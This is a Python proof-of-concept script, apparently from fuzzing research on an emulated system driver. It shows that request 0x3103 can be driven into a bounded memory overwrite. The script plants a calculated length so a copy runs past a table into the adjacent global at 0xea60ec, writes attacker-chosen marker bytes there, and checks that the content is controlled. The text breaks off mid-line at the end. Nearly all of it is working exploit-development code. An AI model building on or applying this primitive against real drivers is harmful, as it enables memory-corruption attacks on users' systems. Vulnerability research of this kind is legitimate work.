"""Show the 0x3103 primitive is a CONTROLLED, non-crashing overwrite: pick a modest length so the copy reaches the adjacent SYS_DRV global at 0xea60ec and COMPLETES (no fault), writing attacker bytes there. That is the exploitation primitive (vs the demo's huge length that deliberately ran off mapped memory).""" import os, sys, struct sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) sys.path.insert(0, os.path.dirname(__file__)) import fuzz_sysdrv as F TABLE=0xea4fbc; ADJ=0xea60ec # table end == adjacent global f=F.SysDrvFuzzer(seed=1); c=f.c gbase=c.rd32(0xE0F3AC); print("table base=%#x adjacent global=%#x"%(gbase,ADJ)) def send(buf,v10,payload): c.write(f.req,b"\x00"*0x100) c.wr32(f.req+0,0x3103); c.wr32(f.req+8,buf); c.wr32(f.req+12,0x44C) c.write(buf,b"\x00"*0x1400) c.wr32(buf+0,0);c.wr32(buf+12,0);c.wr32(buf+40,v10) c.write(buf+44,payload) try: c.run_function(F.ENTRY,(f.req,2,0,0),count=3_000_000); return None except Exception as e: return e buf=f.bufs[0] # snapshot adjacent global before pre=c.read(ADJ,32) print("adjacent 0xea60ec before:",pre.hex()) # call 1: plant v3[10] = exact length to reach 0xea60ec+0x20 and stop (table is 4*1100=0x1130; # copy starts at gbase, entry0 dst=gbase; to reach ADJ+0x20 from gbase: len ~ (ADJ-gbase)+0x20 = 0x1130+0x20) # but note dst for idx0 is gbase; copy length v3[10]+76. choose v3[10] so copy ends just past ADJ. need=(ADJ-gbase)+0x20-76 # bytes to reach ADJ+0x20 print("planting v3[10]=%#x so call2 copy = %#x bytes (reaches ADJ+0x20, stays mapped)"%(need,need+76)) e1=send(buf, need, b'\x11'*0x80); print("call1 fault:",e1," global[+40]=%#x"%c.rd32(gbase+40)) # call 2: bounded overwrite with marker bytes marker=bytes(((0xC0+i)&0xff) for i in range(0x1200)) e2=send(buf, need, marker) post=c.read(ADJ,32) print("call2 fault:",e2) print("adjacent 0xea60ec after :",post.hex()) changed = pre!=post print("\n=== VERDICT ===") print(" bounded overwrite COMPLETED without fault:", e2 is None) print(" adjacent global 0xea60ec overwritten with attacker bytes:", changed) # show the overwritten content corresponds to our marker (content control) off=ADJ-gbase-76 # index into marker that lands at ADJ if 0<=off